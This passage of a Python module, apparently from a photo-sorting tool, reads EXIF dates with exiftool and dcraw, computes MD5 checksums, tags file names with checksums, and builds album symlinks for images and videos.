    'ptx', 'pxn', 'r3d', 'raf', 'raw', 'rwl',
    'rw2', 'rwz', 'sr2', 'srf', 'srw', 'x3f'
]

image_ext = image_nonraw_ext + image_raw_ext

video_ext = [
    'mov', 'qt', 'avi', 'mp4', 'mpg', 'dv',
    'flv', 'mpeg', 'm2v', 'swf', 'wma', 'wmv',
    'm2ts', 'mts', 'm2t', 'ts',
    'm4a', 'm4b', 'm4p', 'm4v'
]

image_date_meta = [
    'DateTimeOriginal', 'DateTime'
]

video_date_meta = [
    'DateTimeOriginal', 'CreationDate', 'CreateDate'
]

def file_md5(filename, blocksize=2**20):
    m = hashlib.md5()
    #print('getting md5 of \"{}\"'.format(self.path))
    with open( filename, "rb" ) as f:
        while True:
            buf = f.read(blocksize)
            if not buf:
                break
            m.update( buf )
    return m.hexdigest()

def file_json(filename):
    exif = sp.check_output ( [ 'exiftool', '-j', '-sort', filename ], universal_newlines=True )
    return json.loads(exif.rstrip('\r\n'))[0]

def file_setdate(filename, date):
    datestr = "{:04d}:{:02d}:{:02d} {:02d}:{:02d}:{:02d}".format(int(date[0]), int(date[1]), int(date[2]), int(date[3]), int(date[4]), int(date[5]))
    st = time.strptime(datestr, "%Y:%m:%d %H:%M:%S")
    systime = time.mktime(st)
    os.utime(filename, (systime, systime))
    return

def file_setmetadate(filename, date):
    comstr = "File dates corrected by photosort on {}".format(datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S'))
    datestr = "{:04d}:{:02d}:{:02d} {:02d}:{:02d}:{:02d}".format(int(date[0]), int(date[1]), int(date[2]), int(date[3]), int(date[4]), int(date[5]))
    code = sp.check_call ( [ 'exiftool', '-AllDates={}'.format(datestr), '-overwrite_original', '-comment={}'.format(comstr), filename ] )
    return

def good_date(date):
    iyear = int(date[0])
    imonth = int(date[1])
    iday = int(date[2])
    now = datetime.datetime.now()
    nowyear = int(datetime.datetime.strftime(now, '%Y'))
    # does the year make sense?
    if iyear == 0:
        return False
    if iyear > nowyear:
        return False
    if (imonth < 1) or (imonth > 12):
        return False
    if (iday < 1) or (iday > 31):
        return False
    return True

def file_ckname(filename, md5):
    mat = re.match(r'(.*)\.(.*)', filename)
    if mat is None:
        raise RuntimeError('file name {} does not have an extension'.format(filename))
    root = mat.group(1)
    ext = mat.group(2)
    ckmat = re.match(r'(.*)_ck([a-z0-9]{4})$', root)
    full = filename
    if ckmat is None:
        full = "{}_ck{}.{}".format(root, md5[0:4], ext)
    else:
        origroot = ckmat.group(1)
        ck = ckmat.group(2)
        if ck != md5[0:4]:
            raise RuntimeError('file name {} does not match checksum({})'.format(filename, md5))
    return full

def file_rootname(full):
    mat = re.match(r'(.*)\.(.*)', full)
    if mat is None:
        raise RuntimeError('file name {} does not have an extension'.format(full))
    root = mat.group(1)
    ext = mat.group(2)
    ckmat = re.match(r'(.*)_ck[a-z0-9]{4}$', root)
    filename = full
    if ckmat is not None:
        origroot = ckmat.group(1)
        filename = "{}.{}".format(origroot, ext)
    return filename

def is_image(filename):
    base = os.path.basename(filename)
    mat = re.match('(.*)\.(.*)', base)
    if mat is None:
        raise RuntimeError('file name {} does not have an extension'.format(filename))
    root = mat.group(1)
    ext = mat.group(2)
    if ext.lower() in image_ext:
        return True
    else:
        return False

def is_video(filename):
    base = os.path.basename(filename)
    mat = re.match('(.*)\.(.*)', base)
    if mat is None:
        raise RuntimeError('file name {} does not have an extension'.format(filename))
    root = mat.group(1)
    ext = mat.group(2)
    if ext.lower() in video_ext:
        return True
    else:
        return False

def file_date(filename, meta, prior):
    ret = {}
    ret['year'] = None
    ret['month'] = None
    ret['day'] = None
    ret['hour'] = None
    ret['minute'] = None
    ret['second'] = None
    datepat = re.compile(r'^(\d\d\d\d):(\d\d):(\d\d)\s+(\d\d):(\d\d):(\d\d).*')
    for p in prior:
        if p in meta.keys():
            v = meta[p]
            mat = datepat.match(str(v))
            if mat is not None:
                ret['year'] = mat.group(1)
                ret['month'] = mat.group(2)
                ret['day'] = mat.group(3)
                ret['hour'] = mat.group(4)
                ret['minute'] = mat.group(5)
                ret['second'] = mat.group(6)
                #print("file_date:  using key {}".format(p))
                break
    if ret['year'] is None:
        # We have no metadata date information.  Just use the file
        # modification time (not ideal).
        t = os.path.getmtime(filename)
        tstr = str(datetime.datetime.fromtimestamp(t))
        datepat = re.compile(r'^(\d*)-(\d*)-(\d*)\s+(\d*):(\d*):(\d*)\s*')
        mat = datepat.match(tstr)
        if mat is not None:
            ret['year'] = mat.group(1)
            ret['month'] = mat.group(2)
            ret['day'] = mat.group(3)
            ret['hour'] = mat.group(4)
            ret['minute'] = mat.group(5)
            ret['second'] = str(int(float(mat.group(6))))
        else:
            raise RuntimeError('cannot get date/time from metadata or filesystem for {}', filename)
    return ret

def album_append(root, album, files):
    absroot = os.path.abspath(root)
    albumdir = os.path.join(absroot, 'albums', album)
    if not os.path.isdir(albumdir):
        os.mkdir(albumdir)
    for f in files:
        absfile = os.path.abspath(f)
        filename = os.path.basename(absfile)
        # we want the path relative to root...
        rootpat = re.compile(r"{}(.*)".format(absroot))
        mat = rootpat.match(absfile)
        if mat is not None:
            relfile = os.path.join('../..', mat.group(1))
            linkpath = os.path.join(albumdir, filename)
            if not os.path.islink(linkpath):
                #print("link {} --> {}".format(linkpath, f))
                os.symlink(filename, linkpath)
        else:
            raise RuntimeError("file {} is not in photo directory {}".format(absfile, absroot))
    return

class Image(object):

    def __init__(self, path):
        self.type = 'image'
        self.path = path
        bname = os.path.basename(self.path)
        mat = re.match('(.*)\.(.*)', bname)
        if not mat:
            raise RuntimeError('file {} does not have an extension'.format(self.path))
        self.root = mat.group(1)
        self.ext = mat.group(2)

        if self.ext.lower() in image_raw_ext:
            # We have a raw file.  Extract the embedded image
            # and use this to grab the EXIF tags.
            tempname = ''
            with tempfile.NamedTemporaryFile(delete=False) as temp:
                tempname = temp.name
                proc_dcraw = sp.Popen ( [ 'dcraw', '-c', '-e', self.path ], stdout=temp, stderr=None, stdin=None )
                proc_dcraw.wait()
            self.meta = file_json(tempname)
            os.unlink(tempname)
        elif self.ext.lower() in image_nonraw_ext:
            self.meta = file_json(self.path)
        else:
            raise RuntimeError('file {} is not an image'.format(self.path))

        metadate = file_date(self.path, self.meta, image_date_meta)

        self.year = metadate['year']
        self.month = metadate['month']
        self.day = metadate['day']
        self.hour = metadate['hour']
        self.minute = metadate['minute']
        self.second = metadate['second']

        self.md5 = file_md5(self.path)
        rname = file_rootname(bname)
        self.name = file_ckname(rname, self.md5)
        self.uid = '{}{}{}:{}{}{}:{}'.format(self.year, self.month, self.day, self.hour, self.minute, self.second, self.name)
        #print('Image ctor {}'.format(self.path))
        #print('  name = {}'.format(self.name))
        #print('  root = {}, ext = {}'.format(self.root, self.ext))
        #print('  md5 = {}'.format(self.md5))
        #print('  {}-{}-{} {}:{}:{}'.format(self.year, self.month, self.day, self.hour, self.minute, self.second))
        #print('  UID = {}'.format(self.uid))
        #print('  exif:')
        #for k, v in self.meta.items():
        #    print ('    {} = {}'.format(k, v))

class Video(object):

    def __init__(self, path):
        self.type = 'video'
        self.path = path
        bname = os.path.basename(self.path)
        mat = re.match('(.*)\.(.*)', bname)
        if not mat:
            raise RuntimeError('file {} does not have an extension'.format(self.path))
        self.root = mat.group(1)
        self.ext = mat.group(2)

        if self.ext.lower() in video_ext:
            self.meta = file_json(self.path)
        else:
            raise RuntimeError('file {} is not a video'.format(self.path))

        metadate = file_date(self.path, self.meta, video_date_meta)

        self.year = metadate['year']
        self.month = metadate['month']
        self.day = metadate['day']
        self.hour = metadate['hour']
        self.minute = metadate['minute']
        self.second = metadate['second']

        self.md5 = file_md5(self.path)
        rname = file_rootname(bname)
        self.name = file_ckname(rname, self.md5)
        self.uid = '{}{}{}:{}{}{}:{}'.format(self.year, self.month, self.day, self.hour, self.minute, self.second, self.name)
        #print('Video ctor {}'.format(self.path))
        #print('  name = {}'.format(self.name))
        #print('  root = {}, ext = {}'.format(self.root, self.ext))
        #print('  md5 = {}'.format(self.md5))
        #print('  {}-{}-{} {}:{}:{}'.format(self.year, self.month, self.day, self.hour, self.minute, self.second))
        #print('  UID = {}'.format(self.uid))
        #print('  exif:')
        #for k, v in self.meta.items():
        #    print ('    {} = {}'.format(k, v))

if __name__ == "__main__":

    path = sys.argv[1]
    img = Image(path)
    #vid = Video(path)
    print(img.path)
    print(img.md5)
    full = file_ckname(img.path, img.md5)
    print(full)
    full2 = file_ckname(full, img.md5)
    print(full2)
    stripped = file_rootname(full2)
    print(stripped)
    stripped2 = file_rootname(stripped)
    print(stripped2)
<|endoftext|>